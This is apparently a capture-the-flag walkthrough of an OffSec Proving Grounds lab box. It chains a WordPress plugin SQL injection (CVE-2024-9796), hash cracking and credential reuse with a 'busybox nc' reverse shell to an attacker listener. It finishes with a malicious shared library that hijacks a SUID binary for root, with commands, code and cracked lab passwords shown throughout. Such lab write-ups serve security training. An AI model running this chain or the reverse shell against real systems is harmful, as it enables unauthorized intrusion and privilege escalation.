the_open_door
coffee
ESEN

Workaholic

Proving Grounds PracticeMediumLinux192.168.131.2294 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#wordpress#wp-advanced-search#cve-2024-9796#sqli#hash-cracking#password-reuse#ftp#wp-config#suid#shared-library-injection#oscp
TL;DR. Workaholic runs WordPress with the WP Advanced Search plugin vulnerable to an unauthenticated SQLi (CVE-2024-9796) that dumps the user hashes (WP Advanced Search SQLi (CVE-2024-9796)). We crack the phpass hashes, reuse charlie's password on FTP to read wp-config.php, and the database password opens charlie's SSH (credential reuse). A SUID binary, wp-monitor, loads a library from a writable directory; we inject a malicious .so and get root (shared library injection).

Recon#

Initial scan#

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.131.229
64 bytes from 192.168.131.229: icmp_seq=1 ttl=61 time=29.4 ms

FTP, SSH and a WordPress:


sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.229
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

nmap -p21,22,80 -sCV 192.168.131.229 -oN targetedScan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-07 00:39 +0000
Nmap scan report for 192.168.131.229 (192.168.131.229)
Host is up (0.029s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_  256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Workaholic
|_http-generator: WordPress 6.7.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.92 seconds

WordPress - TCP 80#

The landing page source (curl ... | grep offsec) references the vhost workaholic.offsec in the ajaxurl, which we add to /etc/hosts:


curl http://192.168.131.229 2>/dev/null | grep offsec | html2text
File "-", line 30, column 0: CDATA terminal not found
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/",
"ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg",
"source":{"concatemoji":"http:\/\/workaholic.offsec\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.2"}};
var ac_param = {"ajaxurl":"http:\/\/workaholic.offsec\/wp-admin\/admin-ajax.php","selector":".search-field",
"autoFocus":"","limitDisplay":"5","multiple":"1"};

The vhost goes into /etc/hosts:


echo '192.168.131.229 workaholic.offsec' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
192.168.131.229 workaholic.offsec

With the vhost resolved, wpscan enumerates the outdated plugin and the users:


wpscan --url http://workaholic.offsec/ --enumerate p,u
...
[i] Plugin(s) Identified:

[+] wp-advanced-search
 | Location: http://workaholic.offsec/wp-content/plugins/wp-advanced-search/
 | Last Updated: 2025-09-10T09:36:00.000Z
 | [!] The version is out of date, the latest version is 3.3.9.4
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 3.3.8 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://workaholic.offsec/wp-content/plugins/wp-advanced-search/readme.txt
...

[i] User(s) Identified:

[+] admin
...

[+] ted
...

[+] charlie
...

Exploitation#

Searching by the plugin and its version ("wp advanced search sqli exploit") lands on the WPScan entry "WP-Advanced-Search < 3.3.9.2 – Unauthenticated SQL Injection", which gives it a number: CVE-2024-9796:

Search wp advanced search sqli exploit: WPScan documents WP-Advanced-Search &amp;lt; 3.3.9.2 Unauthenticated SQL Injection CVE-2024-9796

WP Advanced Search <= 3.3.9.2 has an unauthenticated SQL injection (CVE-2024-9796). A public PoC exploits it to dump the user table (WP Advanced Search SQLi (CVE-2024-9796)). Refining the search ("CVE-2024-9796 git exploit") surfaces yup-Ivan's repo, which describes the injection through the t parameter of the autocomplete endpoint:

Search CVE-2024-9796 git exploit: GitHub repo yup-Ivan/CVE-2024-9796 injecting SQL through the t parameter of the autocomplete

yup-Ivan's PoC is the one we use; its banner identifies it on startup and it is interactive, so it asks for the WordPress IP and which query to run (we pick 1, extract users and passwords):


git clone https://github.com/yup-Ivan/CVE-2024-9796

cd CVE-2024-9796

python3 CVE-2024-9796.py
admin
charlie
ted
$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/

The hashes are phpass ($P$); john with rockyou recovers two passwords:


john --wordlist=/usr/share/wordlists/rockyou.txt hashes
okadamat17       (admin)
chrish20         (charlie)

Credential reuse: FTP and SSH#

charlie's password is reused on the FTP (vsftpd), where we find and download wp-config.php (credential reuse):


ftp 192.168.131.229    # charlie
ftp> get wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );

And that database password is reused again: it opens charlie's SSH:


cat wp-config.php | grep -i pass
/** MySQL database password */
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );

That same password opens SSH:


ssh charlie@192.168.131.229
charlie@192.168.131.229's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-48-generic x86_64)
...
 System information as of Sat Feb  7 07:21:59 PM UTC 2026

  System load:  0.01               Processes:             163
  Usage of /:   59.4% of 9.75GB    Users logged in:       0
  Memory usage: 32%                IPv4 address for ens192: 192.168.131.229
  Swap usage:   0%
...
Last login: Sat Feb  7 19:20:26 2026 from 192.168.45.204
$ whoami
charlie

Local#


cat local.txt && whoami && ip a && hostname
4f5ffd398a34110be02f080ad59fc844
charlie
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:4f:0e brd ff:ff:ff:ff:ff:ff
    altname enp11s0
    inet 192.168.131.229/24 brd 192.168.131.255 scope global ens192
       valid_lft forever preferred_lft forever
workaholic

Privilege escalation#

To work the escalation with a comfortable, logged PTY, we throw a Penelope-managed reverse shell from charlie's session (the busybox nc payload connects back to Penelope's listener):


busybox nc 192.168.45.204 80 -e bash
$ busybox nc 192.168.45.204 80 -e bash

And on the attacker, penelope catches it and upgrades it to a PTY on its own:


penelope
[+] Listening for reverse shells on 0.0.0.0:4444  ->  127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
(Penelope)> listeners add -p 80
[+] Listening for reverse shells on 0.0.0.0:80  ->  127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
[-] Invalid shell from 192.168.131.229
[+] Got reverse shell from workaholic~192.168.131.229-Linux-x86_64  Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12

charlie@workaholic:~$ whoami
charlie

SUID wp-monitor: shared library injection#

We look for SUID binaries and one belonging to the site shows up, /var/www/html/wordpress/blog/wp-monitor. With strings we see it dynamically loads a library from a path under ted's home and calls an init_plugin function:


find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount3
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/var/www/html/wordpress/blog/wp-monitor

All of them are the usual ones except the last, which belongs to the site itself. strings shows which library names and functions it carries:


strings /var/www/html/wordpress/blog/wp-monitor | grep '.so' -A 3
/lib64/ld-linux-x86-64.so.2
...
libc.so.6
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5

/home/ted/.lib/libsecurity.so
[!] This can take a while...
init_plugin
[!] Function not found in the library!
...

The binary is SUID root and dlopens /home/ted/.lib/libsecurity.so, a directory we can write to. We write a library with the init_plugin function that sets UID/GID to 0 and prepares a SUID bash (shared library injection):

#include <stdlib.h>
#include <unistd.h>

void init_plugin() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

We compile it as a shared object at the exact path the binary loads and run wp-monitor:


gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
/var/www/html/wordpress/blog/wp-monitor
charlie@workaholic:/home/ted/.lib$ gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
charlie@workaholic:/home/ted/.lib$ /var/www/html/wordpress/blog/wp-monitor
[+] Checking the logs ...
root@workaholic:/home/ted/.lib# whoami
root

When it loads our library, wp-monitor (SUID root) runs init_plugin with root privileges and we drop into a root shell.

Root#


cat proof.txt && whoami && ip a && hostname
64e44b4b648d4755486d8abafbd28886
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:4f:0e brd ff:ff:ff:ff:ff:ff
    altname enp11s0
    inet 192.168.131.229/24 brd 192.168.131.255 scope global ens192
       valid_lft forever preferred_lft forever
workaholic

Attack chain#

WordPress (80)  --  WP Advanced Search 3.3.8
        │  CVE-2024-9796: SQLi -> phpass hashes -> john -> chrish20 (charlie)
        │  reuse: charlie on FTP -> wp-config.php (DB pass)
        │  reuse: DB pass -> SSH charlie
        ▼
charlie  (local.txt)
        │  SUID wp-monitor dlopen /home/ted/.lib/libsecurity.so (writable)
        │  malicious init_plugin() -> setuid(0) + SUID bash
        ▼
root  (proof.txt)

Lessons learned#

  • An outdated plugin opens the box. WP Advanced Search 3.3.8 dragged CVE-2024-9796; the unauthenticated SQLi dumped every hash. Keeping plugins current is not optional.
  • Password reuse chains services together. The same charlie password worked for FTP, and the database one for SSH. Each reused credential shortens the attacker's chain.
  • wp-config.php is a treasure. Downloading it over FTP gave the database password, reused for SSH. That file should never be reachable nor contain reused secrets.
  • Loading a .so from a writable path is RCE with the binary's privileges. A SUID root binary that dlopens a library the user controls is equivalent to handing over root. A privileged binary's load paths must be writable only by root.
Command cheatsheet 9 commands

Quick review